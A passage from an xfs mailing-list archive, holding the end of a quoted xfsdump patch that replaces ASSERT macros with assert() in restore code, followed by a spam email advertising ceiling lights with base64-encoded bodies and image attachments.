BOOL_TRUE; > > - ASSERT( parh != NH_NULL ); > + assert( parh != NH_NULL ); > > while ( cldh != NH_NULL ) { > node_t *cldp; > @@ -4569,7 +4570,7 @@ tree_chk2_recurse( nh_t cldh, nh_t parh ) > namelen = namreg_get( nrh, > tranp->t_namebuf, > sizeof( tranp->t_namebuf )); > - ASSERT( namelen >= 0 ); > + assert( namelen >= 0 ); > } > > if ( nodeparh == NH_NULL ) { > @@ -4631,7 +4632,7 @@ parse( int slotcnt, char **slotbuf, char *string ) > > /* sanity checkcs > */ > - ASSERT( slotcnt >= 0 ); > + assert( slotcnt >= 0 ); > > /* allocate a companion to the input string for identifying > * characters which are to be interpreted literally. > diff --git a/restore/win.c b/restore/win.c > index 0f3b573..a9f0239 100644 > --- a/restore/win.c > +++ b/restore/win.c > @@ -25,6 +25,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "mlog.h" > @@ -153,14 +154,14 @@ win_init( intgen_t fd, > { > /* validate parameters > */ > - ASSERT( ( firstoff & ( off64_t )pgmask ) == 0 ); > - ASSERT( ( segsz & pgmask ) == 0 ); > + assert( ( firstoff & ( off64_t )pgmask ) == 0 ); > + assert( ( segsz & pgmask ) == 0 ); > > /* allocate and initialize transient state > */ > - ASSERT( tranp == 0 ); > + assert( tranp == 0 ); > tranp = ( tran_t * )calloc( 1, sizeof( tran_t )); > - ASSERT( tranp ); > + assert( tranp ); > > tranp->t_fd = fd; > tranp->t_firstoff = firstoff; > @@ -170,7 +171,7 @@ win_init( intgen_t fd, > tranp->t_segmaplen = SEGMAP_INCR; > tranp->t_segmap = (win_t **) > calloc( tranp->t_segmaplen, sizeof(win_t *) ); > - ASSERT( tranp->t_segmap ); > + assert( tranp->t_segmap ); > > /* initialize critical region enforcer > */ > @@ -203,8 +204,8 @@ win_map( segix_t segix, void **pp ) > "win_map(): requested segment already mapped\n"); > #endif > if ( winp->w_refcnt == 0 ) { > - ASSERT( tranp->t_lruheadp ); > - ASSERT( tranp->t_lrutailp ); > + assert( tranp->t_lruheadp ); > + assert( tranp->t_lrutailp ); > if ( tranp->t_lruheadp == winp ) { > if ( tranp->t_lrutailp == winp ) { > tranp->t_lruheadp = 0; > @@ -225,8 +226,8 @@ win_map( segix_t segix, void **pp ) > winp->w_prevp = 0; > winp->w_nextp = 0; > } else { > - ASSERT( ! winp->w_prevp ); > - ASSERT( ! winp->w_nextp ); > + assert( ! winp->w_prevp ); > + assert( ! winp->w_nextp ); > } > winp->w_refcnt++; > *pp = winp->w_p; > @@ -243,7 +244,7 @@ win_map( segix_t segix, void **pp ) > "win_map(): create a new window\n"); > #endif > winp = ( win_t * )calloc( 1, sizeof( win_t )); > - ASSERT( winp ); > + assert( winp ); > tranp->t_wincnt++; > } else if ( tranp->t_lruheadp ) { > /* REFERENCED */ > @@ -252,7 +253,7 @@ win_map( segix_t segix, void **pp ) > mlog(MLOG_DEBUG | MLOG_TREE | MLOG_NOLOCK, > "win_map(): get head from lru freelist & unmap\n"); > #endif > - ASSERT( tranp->t_lrutailp ); > + assert( tranp->t_lrutailp ); > winp = tranp->t_lruheadp; > tranp->t_lruheadp = winp->w_nextp; > if ( tranp->t_lruheadp ) { > @@ -262,10 +263,10 @@ win_map( segix_t segix, void **pp ) > } > tranp->t_segmap[winp->w_segix] = NULL; > rval = munmap( winp->w_p, tranp->t_segsz ); > - ASSERT( ! rval ); > + assert( ! rval ); > memset( ( void * )winp, 0, sizeof( win_t )); > } else { > - ASSERT( tranp->t_wincnt == tranp->t_winmax ); > + assert( tranp->t_wincnt == tranp->t_winmax ); > *pp = NULL; > CRITICAL_END(); > mlog( MLOG_NORMAL | MLOG_WARNING, _( > @@ -279,12 +280,12 @@ win_map( segix_t segix, void **pp ) > > /* map the window > */ > - ASSERT( tranp->t_segsz >= 1 ); > - ASSERT( tranp->t_firstoff > + assert( tranp->t_segsz >= 1 ); > + assert( tranp->t_firstoff > <= > OFF64MAX - segoff - ( off64_t )tranp->t_segsz + 1ll ); > - ASSERT( ! ( tranp->t_segsz % pgsz )); > - ASSERT( ! ( ( tranp->t_firstoff + segoff ) % ( off64_t )pgsz )); > + assert( ! ( tranp->t_segsz % pgsz )); > + assert( ! ( ( tranp->t_firstoff + segoff ) % ( off64_t )pgsz )); > #ifdef TREE_DEBUG > mlog(MLOG_DEBUG | MLOG_TREE | MLOG_NOLOCK, > "win_map(): mmap segment at %lld, size = %llu\n", > @@ -317,7 +318,7 @@ win_map( segix_t segix, void **pp ) > return; > } > winp->w_segix = segix; > - ASSERT( winp->w_refcnt == 0 ); > + assert( winp->w_refcnt == 0 ); > winp->w_refcnt++; > tranp->t_segmap[winp->w_segix] = winp; > > @@ -335,36 +336,36 @@ win_unmap( segix_t segix, void **pp ) > > /* verify window mapped > */ > - ASSERT( segix < tranp->t_segmaplen ); > + assert( segix < tranp->t_segmaplen ); > winp = tranp->t_segmap[segix]; > - ASSERT( winp ); > + assert( winp ); > > /* validate p > */ > - ASSERT( pp ); > - ASSERT( *pp ); > - ASSERT( *pp >= winp->w_p ); > - ASSERT( *pp < ( void * )( ( char * )( winp->w_p ) + tranp->t_segsz )); > + assert( pp ); > + assert( *pp ); > + assert( *pp >= winp->w_p ); > + assert( *pp < ( void * )( ( char * )( winp->w_p ) + tranp->t_segsz )); > > /* decrement the reference count. if zero, place at tail of LRU list. > */ > - ASSERT( winp->w_refcnt > 0 ); > + assert( winp->w_refcnt > 0 ); > winp->w_refcnt--; > - ASSERT( ! winp->w_prevp ); > - ASSERT( ! winp->w_nextp ); > + assert( ! winp->w_prevp ); > + assert( ! winp->w_nextp ); > if ( winp->w_refcnt == 0 ) { > if ( tranp->t_lrutailp ) { > - ASSERT( tranp->t_lruheadp ); > + assert( tranp->t_lruheadp ); > winp->w_prevp = tranp->t_lrutailp; > tranp->t_lrutailp->w_nextp = winp; > tranp->t_lrutailp = winp; > } else { > - ASSERT( ! tranp->t_lruheadp ); > - ASSERT( ! winp->w_prevp ); > + assert( ! tranp->t_lruheadp ); > + assert( ! winp->w_prevp ); > tranp->t_lruheadp = winp; > tranp->t_lrutailp = winp; > } > - ASSERT( ! winp->w_nextp ); > + assert( ! winp->w_nextp ); > } > > /* zero the caller's pointer > @@ -385,7 +386,7 @@ win_segmap_resize(segix_t segix) > tranp->t_segmaplen = segix + SEGMAP_INCR; > tranp->t_segmap = (win_t **) > realloc( tranp->t_segmap, tranp->t_segmaplen * sizeof(win_t *) ); > - ASSERT( tranp->t_segmap ); > + assert( tranp->t_segmap ); > > /* clear the new portion of the array */ > new_part = tranp->t_segmap + oldlen; > -- > 2.5.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From iqrrzob@mier.com Wed Oct 28 07:05:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.6 required=5.0 tests=DEAR_SOMETHING, HTML_IMAGE_ONLY_08,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AACAE29DF5 for ; Wed, 28 Oct 2015 07:05:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 563F1AC001 for ; Wed, 28 Oct 2015 05:05:40 -0700 (PDT) X-ASG-Debug-ID: 1446033923-04bdf0330ae0f80001-NocioJ Received: from mier.com ([106.113.50.99]) by cuda.sgi.com with ESMTP id PW10MnaVzStFCd1y for ; Wed, 28 Oct 2015 05:05:24 -0700 (PDT) X-Barracuda-Envelope-From: iqrrzob@mier.com X-Barracuda-Apparent-Source-IP: 106.113.50.99 Received: from MLCKTHQR8RLO1R1 ([127.0.0.1]) by localhost via TCP with ESMTPA; Wed, 28 Oct 2015 20:06:17 +0800 Disposition-Notification-To: rolandpower@yeah.net MIME-Version: 1.0 From: Roland Sender: Roland To: xfs@oss.sgi.com Reply-To: Roland Date: 28 Oct 2015 20:06:17 +0800 Subject: =?utf-8?B?U3VyZmFjZSBjZWlsaW5nIGxpZ2h0aW5n?= Content-Type: multipart/mixed; boundary=--boundary_2697604_35a5784e-5e2c-46c0-8d1a-9098a747daff X-ASG-Orig-Subj: =?utf-8?B?U3VyZmFjZSBjZWlsaW5nIGxpZ2h0aW5n?= X-Barracuda-Connect: UNKNOWN[106.113.50.99] X-Barracuda-Start-Time: 1446033923 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.52 X-Barracuda-Spam-Status: No, SCORE=2.52 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_IMAGE_ONLY_08, HTML_MESSAGE, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23890 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 1.78 HTML_IMAGE_ONLY_08 BODY: HTML: images with 400-800 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20151028120540.02A7BA420A4@cuda.sgi.com> ----boundary_2697604_35a5784e-5e2c-46c0-8d1a-9098a747daff Content-Type: multipart/alternative; boundary=--boundary_2697603_5f6492c8-d30b-440b-ac8e-1354d5f5dfe4 ----boundary_2697603_5f6492c8-d30b-440b-ac8e-1354d5f5dfe4 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 DQpEZWFyIFNpciwNCiZuYnNwOw0KV2UmbmJzcDtzdXBwbHkgU3VyZmFjZSBjZWlsaW5nIGxp Z2h0IHdpdGggY29tZXB0aXRpdmUgcHJpY2UgLkFueSByZXF1ZXN0LHBsZWFzZSBjb250YWN0 IG1lLg0KJm5ic3A7DQpUaGFua3MsDQombmJzcDsNCiZuYnNwOw0KDQombmJzcDsNCklmIGRp c3R1cmIgLHBscyBVbnN1YnNjcmliZQ== ----boundary_2697603_5f6492c8-d30b-440b-ac8e-1354d5f5dfe4 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 PFNQQU4gc3R5bGU9IkZPTlQtU0laRTogMTJwdDsgRk9OVC1GQU1JTFk6ICdBcmlhbCc7IG1z by1zcGFjZXJ1bjogJ3llcyciPg0KPERJVj48Rk9OVCBjb2xvcj0jMDAwMDAwPkRlYXIgU2ly LDwvRk9OVD48L0RJVj4NCjxESVY+PEZPTlQgY29sb3I9IzAwMDAwMD4mbmJzcDs8L0ZPTlQ+ PC9ESVY+DQo8RElWPjxGT05UIGNvbG9yPSMwMDAwMDA+V2UmbmJzcDtzdXBwbHkgPEZPTlQg Y29sb3I9IzAwMDBmZj5TdXJmYWNlIGNlaWxpbmcgbGlnaHQ8L0ZPTlQ+IHdpdGggY29tZXB0 aXRpdmUgcHJpY2UgLkFueSByZXF1ZXN0LHBsZWFzZSBjb250YWN0IG1lLjwvRk9OVD48L0RJ Vj4NCjxESVY+PEZPTlQgY29sb3I9IzAwMDAwMD4mbmJzcDs8L0ZPTlQ+PC9ESVY+DQo8RElW PjxGT05UIGNvbG9yPSMwMDAwMDA+VGhhbmtzLDwvRk9OVD48L0RJVj4NCjxESVY+Jm5ic3A7 PC9ESVY+DQo8RElWPjxJTUcgc3JjPSJjaWQ6MEBsb2NhbGhvc3QiPiZuYnNwOzxJTUcgc3Jj PSJjaWQ6MUBsb2NhbGhvc3QiPjwvRElWPg0KPERJVj48SU1HIHNyYz0iY2lkOjJAbG9jYWxo b3N0Ij48L0RJVj4NCjxESVY+Jm5ic3A7PC9ESVY+DQo8RElWPjxGT05UIGNvbG9yPWJsYWNr PjxGT05UIHNpemU9Mj5JZiBkaXN0dXJiICxwbHMgPC9GT05UPjxBIGhyZWY9Im1haWx0bzpy b2xhbmRlYWJsZXBvd2VyQDE2My5jb20iPjxGT05UIHNpemU9Mj5VbnN1YnNjcmliZTwvRk9O VD48L0E+PC9ESVY+PC9GT05UPjwvU1BBTj48IS0tRW5kRnJhZ21lbnQtLT4= ----boundary_2697603_5f6492c8-d30b-440b-ac8e-1354d5f5dfe4-- ----boundary_2697604_35a5784e-5e2c-46c0-8d1a-9098a747daff Content-Type: multipart/mixed; boundary=--boundary_2697605_6856c8da-f8b4-4fed-a788-0e554605c015 ----boundary_2697605_6856c8da-f8b4-4fed-a788-0e554605c015 Content-Type: image/jpeg; name=image-58.jpg Content-Transfer-Encoding: base64 Content-Disposition: inline Content-ID: <0@localhost> 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 EIQCEIQIkXhCBFzmtbTvCEIBIhCEEIQgf//Z ----boundary_2697605_6856c8da-f8b4-4fed-a788-0e554605c015 Content-Type: image/jpeg; name=image-15.jpg Content-Transfer-Encoding: base64 Content-Disposition: inline Content-ID: <1@localhost> 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 ----boundary_2697605_6856c8da-f8b4-4fed-a788-0e554605c015 Content-Type: image/jpeg; name=logo2.jpg Content-Transfer-Encoding: base64 Content-Disposition: inline Content-ID: <2@localhost> /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRof Hh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwh MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAAR CACjAaIDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAA AgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl 5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREA AgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYk NOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk 5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD3xpNpximmdVBJwAOSSelMnIBJJwB1JrzL xJ4in1e6NnZ+YbUNsSOMfNM39fYVyYvFxw0E2rt7LudOBwVXGVXCLslu+x3M/i/RbeQxteIz A4OwFgPxAq7ZazY6ipNpcRy46gNyPw615pb/AA/1u7iElxd29oSMiIZYj6kVn3+i654WmS5d i0Yb5biFsgH37j8a4fruMprnq0/d/E9hZXgav7qhiLz/AAf4L8Gz2Xzh6D86POHoPzrm/DHi BddsTvwLqIASKO4/vCt2vVpVY1YKcNmfO16dWhUdKpo0T+cPQfnR5w9B+dQYorQx52T+cPQf nR5w9B+dQUUBzsn84eg/Ojzh6D86gooDnZP5w9B+dHnD0H51BRQHOyfzh6D86POHoPzqCigf PIso+/NPqGDqamoNIu6CiiigoKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigDnPGVzcW+hTC3jdmlIRmQZ2KRyf6f jXA6LrdpoZe4NqJrs/Kru+Ai+3ua3vH+sX1hremx6fO0Uu08DkNuYDBHccV0lz4c0e7ffc6b bvJ/EwTGT+FeNWo1MRiXOlKzhpqvy/4Y78BmmHp054atBtX1ae/l0/M5K18c6nrV2unaXYxf aJODMMlYV7ufpWzf+IrWDxXZeFJ4VnjurfEskhyckHaCPfB/MVvWWnWenR+VZWsUCE8iNcZ+ vrXiXiu8uk8cz6/ErmC2vEQSDou37o/EKa6JOpQgvaS5m3+HU8/NMbRbi8LT5Ip/N+b/AE7H UwRP4S8aLFuP2ZmABPeNv8P6V1/imSNLayiuJ2htZbkLM6tg7QCev5VieP4o57bTtQi6PlQw 7qQGH9a09SuEk0fQ7+4QvAkkbzfLuwChGSPrXJFey9tQW2jXo9/ke/Vn9Z+r4t/E00+7avb5 9iXRn8P2ck0ljqO4lQHMsxIAzx1pdahOr39pp0czrEYHuWaJsZPATn0yc1Jay6BryyW0NvFK qYd18kp9Owqr/Zf9pa5eGK6ntIrRI7aPyDjPGSPoMiuh3dJQgk4t/Z083+Xc4otKvKpNyjKK +1rbZLz69hh1YLb+H764MrZWRZBGpYlguDwOvIqxNrNpc3thcxySJFA03mh1KlcR55FZtrLH o95bxXUrCGyvJkMrAnh0ypOPXJqG/mTULm9uLXdLFK0uxgp+bEABxXO8ROMN1e6uuuiWu+11 Y6vqtOU9na0rPpZuVltvZ33+R01lr9lfXKW8YnSRwSnmxFA2OTgmq+vwi8u9LsZJHSCeZ/M2 NtJwhI5+tUdHltrvU7Rn1x7yWJGMcJh2YJXB59hVzxBZw3+oaRbTqxieWTcFJB4TPUV1e0nV w7bs9Uundb2b/wCGOL2MKGLSjdaN9dNJaq6j/wAP1KltJaeHNWvIfPmNp5EbhWYyHeWI4/Kt a212wuyoieTc0nl7WjKkNtLcg+oBxWbfaZYaHb21xbxMka3kTzOSXIUZ/Tmq8tzHdy3+q226 SGCe2kDhCMhRh8D6E1EalSg+TRdbeWr029NjSVGliV7TV3subbXRarXV3vvsb51WzW1t7kyE RXHMZ2+gLHPpwDVOPxRpz9RcINjOpeEqGAGTg9zisOylOoWr28cMgWzt7lwrKRnf9z/x0moD Lb3WnhZNce5kitnaO2MO3DeWR19hmpljqjScbf1a+7XW+1y45bSTanfT103tsnurbtHcaXqF vqKySWrl40O0vjgnAPB79a0Ko6VGkVjCkaKiiNcBRgdKvV6sOblXNueW+VSahsFFcTqHjbWU 8V6hoWjeFv7TexSN5JP7QSHh1BHDL746npWn4X8Uvr7aha3unSabqOnyBLm2eUSBdwypDjAI IFa+zly83zM+eN+U6OiqFnrmlamJv7O1KzvWhGXW3nWQr6Z2k46GsvQPGFlq3hO31+/aDS4J ndMT3A2qQ5UfOQo525pcr7f0yuZHR0VR/trSvscN5/adn9lncRwz+euyRiSAqtnBPB4HpTrH VtN1MyjT9QtLswkCQW8yybD6HBOOh/KlZhdFyiuV1rx1p2m3OnQWMlrqUl1qEdjMsF0pNuXJ GWAB9DwcdKueK/Ev/CMWdjcfZPtP2q9jtNvmbNu/PzdDnGOn61ShJ203E5xV/I3qKwPE3iX/ AIR2TSF+yfaP7Rv47PPmbPL3fxdDnHpx9a0xq2nNFdSjULUx2jFblxMuISOoc5+Uj3qeV2uO 6vYuUVQudc0iytYLq61Wxgt7gZhmluEVJBjOVJODxzxTpdY0yBLd5tRtI0uVLwM86gSqBklc n5hjnjtRZhdF2iqlnqmn6javdWN/a3NuhIaWCZXRSBkgkHA4qG21/Rr14UtdXsJ3nLLEsVyj GQqMsFwecA5OOlHK+wXRo0VieKvEkXhfRTfvbPcyPIsMMKMF3yN90Fj0HvVPw14tn1jVb7R9 